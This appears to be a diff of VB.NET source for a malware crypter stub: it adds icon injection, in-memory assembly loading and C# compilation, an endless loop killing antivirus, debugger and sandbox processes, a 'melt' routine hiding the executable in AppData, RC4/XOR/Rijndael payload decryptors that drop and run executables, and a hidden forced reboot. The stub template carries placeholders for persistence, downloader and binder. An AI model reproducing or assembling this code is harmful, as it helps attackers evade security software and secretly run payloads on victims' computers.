||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ID As UShort
|
||||
End Structure
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
|
||||
InjectIcon(exeFileName, iconFileName, 1, 1)
|
||||
End Sub
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
|
||||
Const RT_ICON As UInteger = 3UI
|
||||
Const RT_GROUP_ICON As UInteger = 14UI
|
||||
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
|
||||
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
|
||||
Dim data = iconFile.CreateIconGroupData(iconBaseID)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
|
||||
For i = 0 To iconFile.ImageCount - 1
|
||||
Dim image = iconFile.ImageData(i)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
|
||||
Next
|
||||
NativeMethods.EndUpdateResource(hUpdate, False)
|
||||
End Sub
|
||||
Private Class IconFile
|
||||
Private iconDir As New ICONDIR
|
||||
Private iconEntry() As ICONDIRENTRY
|
||||
Private iconImage()() As Byte
|
||||
Public ReadOnly Property ImageCount() As Integer
|
||||
Get
|
||||
Return iconDir.Count
|
||||
End Get
|
||||
End Property
|
||||
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
|
||||
Get
|
||||
Return iconImage(index)
|
||||
End Get
|
||||
End Property
|
||||
Private Sub New()
|
||||
End Sub
|
||||
Public Shared Function FromFile(ByVal filename As String) As IconFile
|
||||
Dim instance As New IconFile
|
||||
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
|
||||
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
|
||||
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
|
||||
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
|
||||
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
|
||||
Dim offset = Marshal.SizeOf(instance.iconDir)
|
||||
Dim iconDirEntryType = GetType(ICONDIRENTRY)
|
||||
Dim size = Marshal.SizeOf(iconDirEntryType)
|
||||
For i = 0 To instance.iconDir.Count - 1
|
||||
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
|
||||
instance.iconEntry(i) = entry
|
||||
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
|
||||
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
|
||||
offset += size
|
||||
Next
|
||||
pinnedBytes.Free()
|
||||
Return instance
|
||||
End Function
|
||||
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
|
||||
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
|
||||
Dim data(sizeOfIconGroupData - 1) As Byte
|
||||
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
|
||||
Dim offset = Marshal.SizeOf(iconDir)
|
||||
For i = 0 To ImageCount - 1
|
||||
Dim grpEntry As New GRPICONDIRENTRY
|
||||
Dim bitmapheader As New BITMAPINFOHEADER
|
||||
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
|
||||
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
|
||||
pinnedBitmapInfoHeader.Free()
|
||||
grpEntry.Width = iconEntry(i).Width
|
||||
grpEntry.Height = iconEntry(i).Height
|
||||
grpEntry.ColorCount = iconEntry(i).ColorCount
|
||||
grpEntry.Reserved = iconEntry(i).Reserved
|
||||
grpEntry.Planes = bitmapheader.Planes
|
||||
grpEntry.BitCount = bitmapheader.BitCount
|
||||
grpEntry.BytesInRes = iconEntry(i).BytesInRes
|
||||
grpEntry.ID = CType(iconBaseID + i, UShort)
|
||||
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
|
||||
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
|
||||
Next
|
||||
pinnedData.Free()
|
||||
Return data
|
||||
End Function
|
||||
End Class
|
||||
End Class
|
||||
@@ -0,0 +1,13 @@
|
||||
Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean
|
||||
Dim vr1 As New Threading.Thread(AddressOf vr0)
|
||||
vr1.SetApartmentState(Threading.ApartmentState.STA)
|
||||
vr1.Start(bytes)
|
||||
End Function
|
||||
Private Shared Sub vr0(ByVal vr0 As Object)
|
||||
Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint
|
||||
If vr19.GetParameters.Length = 1 Then
|
||||
vr19.Invoke(Nothing, New Object() {New String() {}})
|
||||
Else
|
||||
vr19.Invoke(Nothing, Nothing)
|
||||
End If
|
||||
End Sub
|
||||
@@ -0,0 +1,15 @@
|
||||
Public Shared Function Killer(ByVal proc As String) As String
|
||||
Try
|
||||
While True
|
||||
Dim p As System.Diagnostics.Process
|
||||
For Each p In System.Diagnostics.Process.GetProcesses
|
||||
If proc.Contains(p.ProcessName) Then
|
||||
p.Kill()
|
||||
End If
|
||||
Next
|
||||
System.Threading.Thread.Sleep(1)
|
||||
End While
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
Return Nothing
|
||||
End Function
|
||||
@@ -0,0 +1,97 @@
|
||||
Shared Sub KKK
|
||||
|
||||
Dim KF13 As New System.Threading.Thread(AddressOf F13)
|
||||
|
||||
KF13.Start()
|
||||
|
||||
Dim KF14 As New System.Threading.Thread(AddressOf F14)
|
||||
|
||||
KF14.Start()
|
||||
|
||||
Dim KF15 As New System.Threading.Thread(AddressOf F15)
|
||||
|
||||
KF15.Start()
|
||||
|
||||
Dim KF16 As New System.Threading.Thread(AddressOf F16)
|
||||
|
||||
KF16.Start()
|
||||
|
||||
Dim KF17 As New System.Threading.Thread(AddressOf F17)
|
||||
|
||||
KF17.Start()
|
||||
|
||||
Dim KF19 As New System.Threading.Thread(AddressOf F19)
|
||||
|
||||
KF19.Start()
|
||||
|
||||
Dim KF21 As New System.Threading.Thread(AddressOf F21)
|
||||
|
||||
KF21.Start()
|
||||
|
||||
Dim KF22 As New System.Threading.Thread(AddressOf F22)
|
||||
|
||||
KF22.Start()
|
||||
|
||||
Dim KF23 As New System.Threading.Thread(AddressOf F23)
|
||||
|
||||
KF23.Start()
|
||||
|
||||
Dim KF24 As New System.Threading.Thread(AddressOf F24)
|
||||
|
||||
KF24.Start()
|
||||
|
||||
Dim KF25 As New System.Threading.Thread(AddressOf F25)
|
||||
|
||||
KF25.Start()
|
||||
|
||||
Dim KF26 As New System.Threading.Thread(AddressOf F26)
|
||||
|
||||
KF26.Start()
|
||||
|
||||
Dim KF27 As New System.Threading.Thread(AddressOf F27)
|
||||
|
||||
KF27.Start()
|
||||
|
||||
End Sub
|
||||
Shared Sub F13()
|
||||
Killer("keyscrambler")
|
||||
End Sub
|
||||
Shared Sub F14()
|
||||
Killer("bdagent")
|
||||
End Sub
|
||||
Shared Sub F15()
|
||||
Killer("mbam")
|
||||
End Sub
|
||||
Shared Sub F16()
|
||||
Killer("panda")
|
||||
End Sub
|
||||
Shared Sub F17()
|
||||
Killer("zlclient")
|
||||
End Sub
|
||||
Shared Sub F19()
|
||||
Killer("ollydbg")
|
||||
End Sub
|
||||
Shared Sub F21()
|
||||
Killer("egui")
|
||||
End Sub
|
||||
Shared Sub F22()
|
||||
Killer("hijackthis")
|
||||
End Sub
|
||||
Shared Sub F23()
|
||||
Killer("npfmsg")
|
||||
End Sub
|
||||
Shared Sub F24()
|
||||
Killer("SBAMsvc")
|
||||
End Sub
|
||||
Shared Sub F25()
|
||||
Killer("wine")
|
||||
End Sub
|
||||
Shared Sub F26()
|
||||
Killer("outpost")
|
||||
End Sub
|
||||
Shared Sub F27()
|
||||
Killer("joeboxserver")
|
||||
Killer("joeboxcontrol")
|
||||
End Sub
|
||||
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
'Shared Sub Melt(ByVal NewName As String)
|
||||
' Try
|
||||
' Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
|
||||
' If Application.StartupPath = NewFolder = False Then
|
||||
' FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder & "\" & NewName)
|
||||
' Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath)
|
||||
' Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden
|
||||
' IO.File.SetAttributes(NewFolder & "\" & NewName, Hidden)
|
||||
' End
|
||||
' Else
|
||||
' Kill(Microsoft.VisualBasic.Command)
|
||||
' End If
|
||||
' Catch
|
||||
' End Try
|
||||
'End Sub
|
||||
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
|
||||
Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
|
||||
Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
|
||||
Public Shared Sub Melt(ByVal Name As String)
|
||||
Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
|
||||
If IO.File.Exists(NewFolder & "\" & Name) Then
|
||||
IO.File.Delete(NewFolder & "\" & Name)
|
||||
End If
|
||||
MoveFile(Microsoft.VisualBasic.Left(Application.ExecutablePath, _
|
||||
GetModuleFileName(0, Application.ExecutablePath, 256)), _
|
||||
NewFolder & "\" & Name, 8)
|
||||
ExitProcess(0)
|
||||
End Sub
|
||||
@@ -0,0 +1,12 @@
|
||||
Public Shared Function PolyDec(ByVal Input As String) As String
|
||||
Dim Output As String = Nothing
|
||||
Dim SA() As String
|
||||
SA = Input.Split("|")
|
||||
For Each C As String In SA
|
||||
Try
|
||||
Output = Output & Chr(C - SA(0))
|
||||
Catch
|
||||
End Try
|
||||
Next
|
||||
Return Output.Remove(0, 1)
|
||||
End Function
|
||||
@@ -0,0 +1,13 @@
|
||||
Dim D As New PolyRC4(R.GetObject("K"))
|
||||
Dim N As String = D.Decrypt(R.GetObject("NM"))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("I")))
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, B, False)
|
||||
Catch
|
||||
End Try
|
||||
Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("F")))
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {C, I})
|
||||
@@ -0,0 +1,157 @@
|
||||
Public Class PolyRC4
|
||||
|
||||
Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf"
|
||||
|
||||
Sub New(ByVal EncryptionKey As String)
|
||||
|
||||
Key = EncryptionKey
|
||||
|
||||
End Sub
|
||||
|
||||
Public Function Encrypt(ByVal message As String) As String
|
||||
|
||||
message = XX(message, Key)
|
||||
|
||||
Dim random As New Random()
|
||||
|
||||
Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList()
|
||||
|
||||
Dim out As String = ""
|
||||
|
||||
Dim num1 As Integer = random.[Next](1, 10255)
|
||||
|
||||
For i As Integer = 0 To message.Length - 1
|
||||
|
||||
Dim num2 As Integer = random.[Next](num1) '(&H7A) + &H44
|
||||
|
||||
list1.Add(Convert.ToInt32(message(i)) + num2)
|
||||
|
||||
list2.Add(num2)
|
||||
|
||||
Next
|
||||
|
||||
For j As Integer = 0 To message.Length - 1
|
||||
|
||||
out += ChrW(list1(j)) & ChrW(list2(j))
|
||||
|
||||
Next
|
||||
|
||||
Return out
|
||||
|
||||
End Function
|
||||
|
||||
Public Function Decrypt(ByVal message As String) As String
|
||||
|
||||
Dim numArray As Integer() = New Integer(message.Length - 1) {}
|
||||
|
||||
Dim temp As String = ""
|
||||
|
||||
For i As Integer = 0 To message.Length - 1
|
||||
|
||||
numArray(i) = Convert.ToInt32(message(i))
|
||||
|
||||
Next
|
||||
|
||||
For j As Integer = 0 To message.Length - 1 Step 2
|
||||
|
||||
Dim num3 As Integer = numArray(j)
|
||||
|
||||
Dim num4 As Integer = numArray(j + 1)
|
||||
|
||||
Dim num5 As Integer = num3 - num4
|
||||
|
||||
temp = temp + ChrW(num5)
|
||||
|
||||
Next
|
||||
|
||||
Return XX(temp, Key)
|
||||
|
||||
End Function
|
||||
|
||||
Public Shared Function XX(ByVal message As String, ByVal password As String) As String
|
||||
|
||||
Dim i As Integer = 0
|
||||
|
||||
Dim j As Integer = 0
|
||||
|
||||
Dim cipher As New StringBuilder
|
||||
|
||||
Dim returnCipher As String = String.Empty
|
||||
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
|
||||
Dim intLength As Integer = password.Length
|
||||
|
||||
Dim a As Integer = 0
|
||||
|
||||
While a <= 255
|
||||
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
|
||||
sbox(a) = a
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
|
||||
End While
|
||||
|
||||
Dim x As Integer = 0
|
||||
|
||||
Dim b As Integer = 0
|
||||
|
||||
While b <= 255
|
||||
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
|
||||
sbox(b) = sbox(x)
|
||||
|
||||
sbox(x) = tempSwap
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
|
||||
Dim itmp As Integer = 0
|
||||
|
||||
i = (i + 1) Mod 256
|
||||
|
||||
j = (j + sbox(i)) Mod 256
|
||||
|
||||
itmp = sbox(i)
|
||||
|
||||
sbox(i) = sbox(j)
|
||||
|
||||
sbox(j) = itmp
|
||||
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
|
||||
itmp = Asc(ctmp)
|
||||
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
|
||||
cipher.Append(Chr(cipherby))
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,11 @@
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
R.GetObject("K")))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
|
||||
@@ -0,0 +1,14 @@
|
||||
Public Class PolyMorphicStairs
|
||||
Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
|
||||
Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
|
||||
PolyDeCrypt = Encoding.Default.GetString(buff)
|
||||
Erase buff
|
||||
End Function
|
||||
Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
|
||||
For i = 0 To (Data.Length - 1) * (ExtraRounds + 1)
|
||||
Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
|
||||
Next
|
||||
Array.Resize(Data, Data.Length - 1)
|
||||
Return Data
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,11 @@
|
||||
Dim D As New Polymorphic(R.GetObject("K"))
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I})
|
||||
@@ -0,0 +1,78 @@
|
||||
Public Class PolyMorphic
|
||||
'Variable for the Key.
|
||||
Private sKey As String = ""
|
||||
'Property, will Give us acces to the key.
|
||||
Public Property Key() As String
|
||||
Get
|
||||
Return sKey
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
sKey = value
|
||||
End Set
|
||||
End Property
|
||||
'Inisalization. (New Constructor)
|
||||
Public Sub New(ByVal Key As String)
|
||||
Me.Key = Key
|
||||
End Sub
|
||||
Public Sub New()
|
||||
Me.Key = ""
|
||||
End Sub
|
||||
'This Will convert String to bytes,then call the other function.
|
||||
Public Function PolyCrypt(ByVal Data As String) As String
|
||||
Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data)))
|
||||
End Function
|
||||
'This one also Will convert String to bytes,then call the other function.
|
||||
Public Function PolyDeCrypt(ByVal Data As String) As String
|
||||
Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data)))
|
||||
End Function
|
||||
'Main PolyMorphic Encryption.
|
||||
Public Function PolyCrypt(ByVal Data() As Byte) As Byte()
|
||||
'We declare a byte array, just one byte bigger then the data.
|
||||
Dim ReturnBuffer(Data.Length) As Byte
|
||||
'we assain The first one with a random byte.
|
||||
ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, Convert.ToInt32(11111111, 2)))
|
||||
'now for each byte in data
|
||||
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
|
||||
'we add the previous byte to the next byte Mod 256. the first byte is random,
|
||||
'so will will get random bytes all the way.
|
||||
ReturnBuffer(i + Convert.ToInt32(1, 2)) = ModuloByte(ReturnBuffer(i), Data(i))
|
||||
Next
|
||||
'We Call the Selected Encryption to crypt the randomized Data.
|
||||
Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key))
|
||||
End Function
|
||||
'Main PolyMorphic Decryption.
|
||||
Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte()
|
||||
'This Function is the exact reverse of the crypt function.
|
||||
'we should Decrypt to get our last randomized data.
|
||||
Data = XorCrypt(Data, Encoding.Default.GetBytes(Key))
|
||||
'Now in the other function the return value is a one byte bigger array. lets remove that one
|
||||
Dim ReturnBuffer(Data.Length - Convert.ToInt32(10, 2)) As Byte
|
||||
'we started from Byte n# 0 to the last one. we'll play it reversed now.
|
||||
For i = Data.Length - Convert.ToInt32(1, 2) To Convert.ToInt32(1, 2) Step -Convert.ToInt32(1, 2)
|
||||
'We just remove The previous byte value from the current one Mod 256. simple
|
||||
ReturnBuffer(i - Convert.ToInt32(1, 2)) = ModuloByte(Data(i), -Data(i - Convert.ToInt32(1, 2)))
|
||||
Next
|
||||
'That's it. The Buffer is one byte less then the data. Perfect. Return it.
|
||||
Return ReturnBuffer
|
||||
End Function
|
||||
'A Positive Mod 256. This will prevent a non byte value. the result is always >= 0 and <= 255
|
||||
Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte
|
||||
While Addition < Convert.ToInt32(0, 2)
|
||||
'
|
||||
Addition += Convert.ToInt32(100000000, 2)
|
||||
End While
|
||||
Return Convert.ToByte((MyByte + Addition) Mod Convert.ToInt32(100000000, 2))
|
||||
End Function
|
||||
'Xor Encryption.
|
||||
Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte()
|
||||
If Key.Length <> 0 Then
|
||||
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
|
||||
Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod Convert.ToInt32(111, 2))) Mod Key.Length) Mod Key.Length)
|
||||
Next
|
||||
End If
|
||||
Return Data
|
||||
End Function
|
||||
Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String
|
||||
Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key)))
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,53 @@
|
||||
Public Shared Function Rc4(ByVal ºjmÍ() As Byte, ByVal ºjmUÍ() As Byte) As Byte()
|
||||
|
||||
Dim s(Convert.ToInt32(11111111, &H2)) As Byte
|
||||
|
||||
Dim i As Integer
|
||||
|
||||
For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
|
||||
|
||||
s(i) = CByte(i)
|
||||
|
||||
Next
|
||||
|
||||
Dim j As Integer
|
||||
|
||||
For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
|
||||
|
||||
j = (j + ºjmUÍ(i Mod ºjmUÍ.Length) + s(i)) And Convert.ToInt32(11111111, &H2)
|
||||
|
||||
Dim temp As Byte = s(i)
|
||||
|
||||
s(i) = s(j)
|
||||
|
||||
s(j) = temp
|
||||
|
||||
Next
|
||||
|
||||
i = Convert.ToInt32(&H0, &H2)
|
||||
|
||||
j = Convert.ToInt32(&H0, &H2)
|
||||
|
||||
Dim output(ºjmÍ.Length - Convert.ToInt32(&H1, &H2)) As Byte
|
||||
|
||||
Dim k As Integer
|
||||
|
||||
For k = Convert.ToInt32(&H0, &H2) To ºjmÍ.Length - Convert.ToInt32(&H1, &H2)
|
||||
|
||||
i = (i + Convert.ToInt32(1, &H2)) And Convert.ToInt32(11111111, &H2)
|
||||
|
||||
j = (j + s(i)) And Convert.ToInt32(11111111, &H2)
|
||||
|
||||
Dim temp As Byte = s(i)
|
||||
|
||||
s(i) = s(j)
|
||||
|
||||
s(j) = temp
|
||||
|
||||
output(k) = s((CType(s(i), Integer) + s(j)) And Convert.ToInt32(11111111, &H2)) Xor ºjmÍ(k)
|
||||
|
||||
Next
|
||||
|
||||
Return output
|
||||
|
||||
End Function
|
||||
@@ -0,0 +1,11 @@
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
R.GetObject("K")))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F60()
|
||||
Killer("regedit")
|
||||
End Sub
|
||||
@@ -0,0 +1,95 @@
|
||||
Option Explicit Off
|
||||
Option Strict Off
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System
|
||||
Imports Microsoft.VisualBasic
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Windows.Forms
|
||||
Imports System.IO
|
||||
Imports System.CodeDom.Compiler
|
||||
'AssemblyCodes
|
||||
Public Class Out
|
||||
'FakeAPI#1
|
||||
'FakeAPI#2
|
||||
'FakeAPI#3
|
||||
'FakeAPI#4
|
||||
'FakeAPI#5
|
||||
'FakeAPI#6
|
||||
'FakeAPI#7
|
||||
'FakeAPI#8
|
||||
'FakeAPI#9
|
||||
'FakeAPI#A
|
||||
'FakeAPI#B
|
||||
Shared Sub Main()
|
||||
Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly)
|
||||
'MessageB
|
||||
System.Threading.Thread.Sleep(DelayExe * 1000)
|
||||
'CallAntis
|
||||
'LoadMethod
|
||||
'KKK
|
||||
'AStartUpCall
|
||||
'CallWS
|
||||
'TaskManagerK
|
||||
'RegeditK
|
||||
'msconfigK
|
||||
'notepadK
|
||||
'dxdiagK
|
||||
'FolderOpts
|
||||
'meltcall
|
||||
'restart
|
||||
'Downloader
|
||||
'delHALDLL
|
||||
'Binder
|
||||
End Sub
|
||||
'InjectionEncryptionAlgorithm
|
||||
Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean
|
||||
Try
|
||||
Dim u As Assembly = file
|
||||
Dim t As Type = u.[GetType]([Class])
|
||||
If t IsNot Nothing Then
|
||||
Dim m As MethodInfo = t.GetMethod(Void)
|
||||
If m IsNot Nothing Then
|
||||
Return CBool(m.Invoke(Nothing, Parameters))
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End Function
|
||||
'Anti's Sub
|
||||
'FunctionA
|
||||
'Killer Sub
|
||||
'StubStrEncryption
|
||||
'KillerFunction
|
||||
'Websites
|
||||
'TaskmanagerSub
|
||||
'RegeditSub
|
||||
'msconfigSub
|
||||
'notepadSub
|
||||
'dxdiagSub
|
||||
'meltSub
|
||||
'junkFunction
|
||||
'InvokeSub
|
||||
Public Shared Function ReverseString(ByVal s As String) As String
|
||||
Dim arr As Char() = s.ToCharArray()
|
||||
Array.Reverse(arr)
|
||||
Return New String(arr)
|
||||
End Function
|
||||
Public Shared Function CC(ByVal Source As String) As Assembly
|
||||
Dim Parameters As New CompilerParameters()
|
||||
Dim cResults As CompilerResults = Nothing
|
||||
Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp")
|
||||
Parameters.GenerateExecutable = False
|
||||
Parameters.GenerateInMemory = True
|
||||
Parameters.ReferencedAssemblies.Add("System.dll")
|
||||
Parameters.ReferencedAssemblies.Add("System.Management.dll")
|
||||
Parameters.CompilerOptions = "/platform:x86"
|
||||
Parameters.TreatWarningsAsErrors = False
|
||||
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
|
||||
Return cResults.CompiledAssembly
|
||||
End Function
|
||||
'Add2StartUp
|
||||
End Class
|
||||
'heavyJunk
|
||||
@@ -0,0 +1,6 @@
|
||||
Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart"
|
||||
If Not IO.File.Exists(bytloc) Then
|
||||
Dim filebyt As Byte() = New Byte() {}
|
||||
My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False)
|
||||
Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide)
|
||||
End If
|
||||
@@ -0,0 +1,14 @@
|
||||
Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K"))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _
|
||||
R.GetObject("K")))
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
Catch
|
||||
End Try
|
||||
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _
|
||||
R.GetObject("K")))
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
|
||||
